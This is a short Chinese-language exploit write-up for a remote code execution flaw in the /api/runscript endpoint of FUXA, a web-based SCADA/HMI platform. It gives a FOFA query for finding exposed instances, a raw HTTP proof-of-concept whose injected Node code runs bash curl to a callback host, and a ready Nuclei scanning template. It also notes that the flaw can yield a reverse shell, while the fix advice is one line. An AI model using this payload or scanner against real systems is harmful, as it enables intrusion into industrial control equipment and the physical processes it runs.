免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、漏洞描述
FUXA是一款功能强大的基于web的软件,可快速构建和部署可扩展的SCADA, HMI, Dashboard或IIoT系统
FUXA 非常容易从使用树莓派 up 的小型项目扩展到大型设施的可视化。它还提供了强大的完全基于 web 的新工具,允许您创建丰富的可视化,数据日志,警报,通知,趋势和远程设备实时控制,它使设备通过行业标准物联网协议 MQTT, OPC-UA, BACnet, Modbus, SiemensS7, WebAPI,以太网/IP (Allen Bradley)连接到一个易于使用的界面。低级协议(如 Serial 或 TCP)可以使您快速地与自定义或专有协议进行交互。
该漏洞会影响 FUXA 的脚本组件,因为对用户可以控制的输入缺乏控制或清理,从而允许使用可扩展为远程代码执行的危险方法。受影响的路径是 /api/runscript。
Ⅱ、fofa语句
title="FUXA"
Ⅲ、漏洞复现
POC
POST /api/runscript HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 321{"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('child_process').exec('/bin/bash -c \"curl http://youRDNSlog\"')"}}}
1、构建poc
2、查看DNSlog记录
Ⅳ、Nuclei-POC
id: FUAX-RCEinfo:name: 该漏洞会影响 FUXA 的脚本组件,因为对用户可以控制的输入缺乏控制或清理,从而允许使用可扩展为远程代码执行的危险方法。受影响的路径是 /api/runscript。author: WLFseverity: highmetadata: fofa-query: title="FUXA"
variables:filename: "{{to_lower(rand_base(10))}}"boundary: "{{to_lower(rand_base(20))}}"
http:- raw:- |POST /api/runscript HTTP/1.1Host: {{Hostname}}Content-Type: application/jsonUser-Agent: python-requests/2.24.0Accept-Encoding: gzip, deflateAccept: */*Content-Length: 321{"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('child_process').exec('/bin/bash -c \"curl http://{{interactsh-url}}\"')"}}}matchers:- type: dsldsl:- contains(interactsh_protocol, "dns")condition: and
PS:可使用此漏洞fantanshell
Ⅴ、修复建议
升级至安全版本